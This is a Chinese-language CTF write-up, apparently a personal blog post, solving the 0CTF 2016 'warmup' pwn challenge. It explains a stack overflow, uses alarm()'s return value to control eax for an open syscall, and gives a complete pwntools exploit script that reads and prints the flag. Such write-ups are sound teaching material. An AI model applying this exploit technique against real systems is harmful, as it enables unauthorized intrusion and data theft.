warmup

注意
本文最后更新于 2021-05-12,文中内容可能已过时。

总结

根据本题,学习与收获有:

  • 刚开始尝试利用read的返回值来构造execvesyscall,后来发现基本没有办法。后来查了下资料,才知道需要从alarm函数的返回值进行利用。虽然之前一直都知道alarm函数的功能,但是并不清楚其返回值是啥。
  • 根据C语言alarm()函数:设置信号传送闹钟_C语言中文网 (biancheng.net)的解释,alarm()用来设置信号SIGALRM 在经过参数seconds 指定的秒数后传送给目前的进程。如果闹钟设置成功,那么之前设置的闹钟会被取消, 并将之前闹钟剩下的时间返回。根据这一性质,控制返回值,就控制了eax寄存器。

题目分析

checksec

image-20210512162625455

除了开启了NX保护,其他保护全部关闭。运行环境为ubuntu18

函数分析

start

image-20210512162838038

函数流程为:

  • 设置闹钟为10
  • 输出一段话
  • 执行main函数
  • 退出
main

image-20210512162948363

很明显的栈溢出,读取结束后程序结束。

漏洞点

漏洞点就在main函数的read处。addr距离ebp只有0x20的距离,但是可以读取0x34个字节大小。

这时需要使用gdb来看一下,需要覆盖多少。

image-20210512163456153

看一下偏移,为0x20

image-20210512163541563

利用思路

如果利用read的返回值的话,需要提前布置好栈空间,但是溢出只有0x14个字节,并且每次需要溢出的时候,都会重新把retaddr置为exit函数的地址。如果溢出了,那么输入的字节数肯定超过0xb,所以这是相互矛盾的。因此,考虑从alarm函数入手。由于第一次设置闹钟seconds0xa,那么往小于这个值的系统调用好来找,发现只有open符合我们的需求。所以,最后的利用思路为:

  • 利用栈溢出,往data段写入flag字符串,为open的系统调用做准备,然后再回到main函数
  • 程序休眠5秒,然后利用栈溢出,执行set_alarm,得到返回值为0x5,然后执行open的系统调用,并回到main函数
  • 栈溢出,利用read(3, data_segment, 0x40),把flag读取到data
  • 栈溢出,使用write(1, data_segment, 0x40)输出flag

EXP

调试过程

不太好调试,但是但其实只要分析栈溢出那一步就行了,之后都是循环执行main函数

  • 调试一下栈溢出的点

     1
     2
     3
     4
     5
     6
     7
     8
     9
    10
    11
    
    welcome_str_addr = 0x80491bc
    good_luck_str_addr = 0x80491d3
    read_addr = 0x804811d
    write_addr = 0x8048135
    main_addr = 0x804815a
    alarm_addr = 0x804810d
    mov_ebx_syscall = 0x8048122
    
    layout = ['a' * 0x20, read_addr, main_addr, 0, good_luck_str_addr, 0x60]
    payload = flat(layout)
    sh.sendafter("Welcome to 0CTF 2016!\n", payload)

    这里会执行read函数:

    image-20210512165939550

    符合自己构造的栈布局

    image-20210512170041167

最后远程的攻击效果为:

image-20210512170145299

完整exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from pwn import *

sh: tube = process('warmup')
context.update(arch='i386', os='linux', endian='little')

welcome_str_addr = 0x80491bc
good_luck_str_addr = 0x80491d3
read_addr = 0x804811d
write_addr = 0x8048135
main_addr = 0x804815a
alarm_addr = 0x804810d
mov_ebx_syscall = 0x8048122

layout = ['a' * 0x20, read_addr, main_addr, 0, good_luck_str_addr, 0x60]
payload = flat(layout)
sh.sendafter("Welcome to 0CTF 2016!\n", payload)

sh.sendafter("Good Luck!\n", "flag\x00")
sleep(5)
layout = ['a' * 0x20, alarm_addr, mov_ebx_syscall, main_addr, good_luck_str_addr, 0]
sh.send(flat(layout))

layout = ['a' * 0x20, read_addr, main_addr, 3, welcome_str_addr, 0x40]
sh.recvline()
sh.send(flat(layout))

layout = ['a' * 0x20, write_addr, 0xdeadbeef, 1, welcome_str_addr, 0x40]
sh.recvline()
sh.send(flat(layout))
sh.interactive()

引用与参考

1、My Blog

2、Ctf Wiki

Buy me a coffee~
roderick 支付宝支付宝
roderick 微信微信
0%